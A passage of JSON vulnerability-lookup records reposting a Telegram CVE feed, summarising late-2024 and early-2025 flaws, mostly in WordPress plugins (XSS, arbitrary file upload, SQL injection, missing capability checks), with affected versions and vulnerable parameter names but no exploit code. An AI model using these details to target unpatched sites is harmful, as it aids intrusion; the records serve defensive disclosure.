"2025-01-09T10:14:05.000000Z"}, {"uuid": "8dd824ef-ad39-408f-a17a-8aaa464dbd3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://t.me/cvedetector/14789", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12715 - WordPress Asgard Security Scanner Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12715 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The Asgard Security Scanner WordPress plugin through 0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:15.000000Z"}, {"uuid": "86054f48-b412-4d66-9c1d-10fece7aac25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12337", "type": "seen", "source": "https://t.me/cvedetector/14685", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12337 - Planzer Shipping via WooCommerce Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12337 \nPublished : Jan. 8, 2025, 11:15 a.m. | 42\u00a0minutes ago \nDescription : The Shipping via Planzer for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018processed-ids\u2019 parameter in all versions up to, and including, 1.0.25 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T13:18:12.000000Z"}, {"uuid": "0edb6718-073a-41dd-906e-18acfa661f42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://t.me/cvedetector/14782", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12731 - Aklamator INfeed WordPress Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12731 \nPublished : Jan. 9, 2025, 6:15 a.m. | 19\u00a0minutes ago \nDescription : The Aklamator INfeed WordPress plugin through 2.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-09T07:43:07.000000Z"}, {"uuid": "94135bd0-6b6f-488c-9eaf-69e5f4121573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://t.me/cvedetector/14680", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12854 - \"WordPress Garden Gnome Package Plugin Remote Code Execution File Upload Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12854 \nPublished : Jan. 8, 2025, 10:15 a.m. | 21\u00a0minutes ago \nDescription : The Garden Gnome Package plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the functionality that automatically extracts 'ggpkg' files that have been uploaded in all versions up to, and including, 2.3.0. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T11:38:04.000000Z"}, {"uuid": "ad68fd5c-e12d-41a1-aedf-df8f6be3c1d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://t.me/cvedetector/14679", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12855 - AdForest for WordPress AJAX Capability Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12855 \nPublished : Jan. 8, 2025, 9:15 a.m. | 30\u00a0minutes ago \nDescription : The AdForest theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX actions like 'sb_remove_ad' in all versions up to, and including, 5.1.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete posts, attachments and deactivate a license. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T10:47:56.000000Z"}, {"uuid": "49cdf4b4-1c96-4467-8818-73a4743817a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://t.me/cvedetector/14678", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12328 - Elementor MAS WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12328 \nPublished : Jan. 8, 2025, 9:15 a.m. | 30\u00a0minutes ago \nDescription : The MAS Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T10:47:55.000000Z"}, {"uuid": "687de3ac-2a16-4b96-88f2-10428eb282fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12988", "type": "seen", "source": "https://t.me/cvedetector/13789", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12988 - Netgear R6900P and R7000P HTTP Header Handler Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-12988 \nPublished : Dec. 27, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability has been found in Netgear R6900P and R7000P 1.3.3.154 and classified as critical. Affected by this vulnerability is the function sub_16C4C of the component HTTP Header Handler. The manipulation of the argument Host leads to buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T19:22:13.000000Z"}, {"uuid": "a6307545-ff3a-4c83-85b0-7bcaecf944c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://t.me/cvedetector/14682", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12712 - BigCommerce Unauthenticated Order Status Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12712 \nPublished : Jan. 8, 2025, 10:15 a.m. | 21\u00a0minutes ago \nDescription : The Shopping Cart & eCommerce Store plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the webhook function in all versions up to, and including, 5.7.8. This makes it possible for unauthenticated attackers to modify order statuses. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T11:38:05.000000Z"}, {"uuid": "73e525c1-0916-425e-a54a-1d5cd79c6562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://t.me/cvedetector/14742", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12431 - GitLab Unauthorized Issue Status Manipulation\", \n  \"Content\": \"CVE ID : CVE-2024-12431 \nPublished : Jan. 8, 2025, 9:15 p.m. | 36\u00a0minutes ago \nDescription : An issue was discovered in GitLab CE/EE affecting all versions starting from 15.5 before 17.5.5, 17.6 before 17.6.3, and 17.7 before 17.7.1, in which unauthorized users could manipulate the status of issues in public projects. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T23:21:27.000000Z"}, {"uuid": "ac1ee231-8301-402c-ba46-c95eab9d3e7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://t.me/cvedetector/14681", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12853 - WordPress Modula Image Gallery Remote File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12853 \nPublished : Jan. 8, 2025, 10:15 a.m. | 21\u00a0minutes ago \nDescription : The Modula Image Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the zip upload functionality in all versions up to, and including, 2.11.10. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T11:38:05.000000Z"}, {"uuid": "71d4a372-d1f4-480e-8ddc-1f2ff2d7a0c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12030", "type": "seen", "source": "https://t.me/cvedetector/14656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12030 - WordPress MDTF SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12030 \nPublished : Jan. 8, 2025, 5:15 a.m. | 21\u00a0minutes ago \nDescription : The MDTF \u2013 Meta Data and Taxonomies Filter plugin for WordPress is vulnerable to SQL Injection via the 'key' attribute of the 'mdf_value' shortcode in all versions up to, and including, 1.3.3.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T06:37:09.000000Z"}, {"uuid": "fa20be31-4210-4949-93a8-ed4b79bce85f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12045", "type": "seen", "source": "https://t.me/cvedetector/14669", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12045 - WordPress Gutenberg - Stored Cross-Site Scripting in Google Maps Block\", \n  \"Content\": \"CVE ID : CVE-2024-12045 \nPublished : Jan. 8, 2025, 8:15 a.m. | 40\u00a0minutes ago \nDescription : The Essential Blocks \u2013 Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the maker title value of the Google Maps block  in all versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T09:57:42.000000Z"}, {"uuid": "d4b2b281-449e-42c8-b2f5-47fdca4c373d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://t.me/cvedetector/14539", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12738 - WordPress User Profile Builder XSS\", \n  \"Content\": \"CVE ID : CVE-2024-12738 \nPublished : Jan. 7, 2025, 1:15 p.m. | 21\u00a0minutes ago \nDescription : The User Profile Builder \u2013 Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several user meta parameters in all versions up to, and including, 3.12.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page and clicks a link to show user meta. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T14:42:43.000000Z"}, {"uuid": "107838ff-ac09-4e5c-b4cc-f12081aaa96c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12560", "type": "seen", "source": "https://t.me/cvedetector/13308", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12560 - Wordpress Button Block Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12560 \nPublished : Dec. 19, 2024, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The Button Block \u2013 Get fully customizable & multi-functional buttons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.1.5 via the 'btn_block_duplicate_post' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T08:57:54.000000Z"}, {"uuid": "51e708e6-6937-4c4b-a390-10a19266e8bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12584", "type": "seen", "source": "https://t.me/cvedetector/14667", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12584 - Xpro Addons For Elementor Privileged Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12584 \nPublished : Jan. 8, 2025, 7:15 a.m. | 40\u00a0minutes ago \nDescription : The 140+ Widgets | Xpro Addons For Elementor \u2013 FREE plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.4.6.2 via the 'duplicate' function. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract potentially sensitive data from draft, scheduled (future), private, and password protected posts. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T09:07:38.000000Z"}, {"uuid": "42f6d180-c949-4798-a952-f910c8b14881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12852", "type": "seen", "source": "https://t.me/cvedetector/14664", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12852 - Elementor Stored Cross-Site Scripting in Happy Addons\", \n  \"Content\": \"CVE ID : CVE-2024-12852 \nPublished : Jan. 8, 2025, 7:15 a.m. | 40\u00a0minutes ago \nDescription : The Happy Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ha_cmc_text' parameter of the Happy Mouse Cursor in all versions up to, and including, 3.15.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T09:07:33.000000Z"}, {"uuid": "90ea6dc3-2de0-4504-8166-c30759b7f5ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12851", "type": "seen", "source": "https://t.me/cvedetector/14663", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12851 - Wordpress Element Pack Elementor Addons Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12851 \nPublished : Jan. 8, 2025, 7:15 a.m. | 40\u00a0minutes ago \nDescription : The Element Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid, Carousel and Remote Arrows) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom_attributes parameter of the Cookie Consent Widget in all versions up to, and including, 5.10.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T09:07:32.000000Z"}, {"uuid": "58c77a3d-7c18-4767-8c64-dc5262d362c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12521", "type": "seen", "source": "https://t.me/cvedetector/14652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12521 - WordPress Slotti Ajanvaraus Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12521 \nPublished : Jan. 8, 2025, 4:15 a.m. | 29\u00a0minutes ago \nDescription : The Slotti Ajanvaraus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'slotti-embed-ga' shortcode in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T05:47:02.000000Z"}, {"uuid": "4c9d7823-403d-41d8-a14f-b8cdd1f6e65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12205", "type": "seen", "source": "https://t.me/cvedetector/14654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12205 - \"Themesflat Addons for Elementor Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12205 \nPublished : Jan. 8, 2025, 5:15 a.m. | 21\u00a0minutes ago \nDescription : The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the TF E Slider Widget in all versions up to, and including, 2.2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-08T06:37:08.000000Z"}, {"uuid": "2fa41074-2758-4049-af47-afd4aab9641f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "https://t.me/cvedetector/13942", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12835 - Delta Electronics DRASimuCAD ICS File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12835 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : Delta Electronics DRASimuCAD ICS File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics DRASimuCAD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the parsing of ICS files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-22415. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:37.000000Z"}, {"uuid": "e3632b16-4f1b-4b40-bdd1-7a756f93b0c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12408", "type": "seen", "source": "https://t.me/cvedetector/13497", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12408 - \"Amazon Web Services (AWS) WordPress Reflected Cross-Site Scripting (XSS)\"\", \n  \"Content\": \"CVE ID : CVE-2024-12408 \nPublished : Dec. 21, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : The WP on AWS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via $_POST data in all versions up to, and including, 5.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T11:59:18.000000Z"}, {"uuid": "dce1a682-6ac7-41c6-bf6f-64140cbdfd76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://t.me/cvedetector/13496", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12558 - WordPress WP BASE Booking Unauthenticated Database Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12558 \nPublished : Dec. 21, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : The WP BASE Booking of Appointments, Services and Events plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the export_db function in all versions up to, and including, 4.9.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to expose sensitive information from the database, such as the hashed administrator password. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T11:59:18.000000Z"}, {"uuid": "a39b2042-ebf7-4ee6-a0f3-a44a43a61f0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://t.me/cvedetector/14586", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12429 - AC500 V3 File Access Unauthorized Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12429 \nPublished : Jan. 7, 2025, 5:15 p.m. | 31\u00a0minutes ago \nDescription : An attacker who successfully exploited these vulnerabilities could grant read access to files.\u00a0A vulnerability exists in the AC500 V3 version mentioned. A\u00a0successfully   \nauthenticated attacker can use this vulnerability to read system wide files and configuration  \n  \n  \nAll AC500 V3 products (PM5xxx) with firmware version earlier than 3.8.0 are affected by this vulnerability. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-07T18:54:14.000000Z"}, {"uuid": "9af135e4-de44-4caa-be01-26bd44d3faea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12262", "type": "seen", "source": "https://t.me/cvedetector/13480", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12262 - WordPress Ebook Store Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12262 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The Ebook Store plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'step' parameter in all versions up to, and including, 5.8001 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:35.000000Z"}, {"uuid": "4099bea7-5a12-4749-bdab-10db996069c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12841", "type": "seen", "source": "https://t.me/cvedetector/13453", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12841 - \"Able Admin Parsing Advisory\"\", \n  \"Content\": \"CVE ID : CVE-2024-12841 \nPublished : Dec. 20, 2024, 7:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in Emlog Pro up to 2.4.1. It has been classified as problematic. This affects an unknown part of the file /admin/tag.php. The manipulation of the argument keyword leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T20:55:57.000000Z"}, {"uuid": "d4e67d2c-6dd2-418d-94ee-9a9cc58a5008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 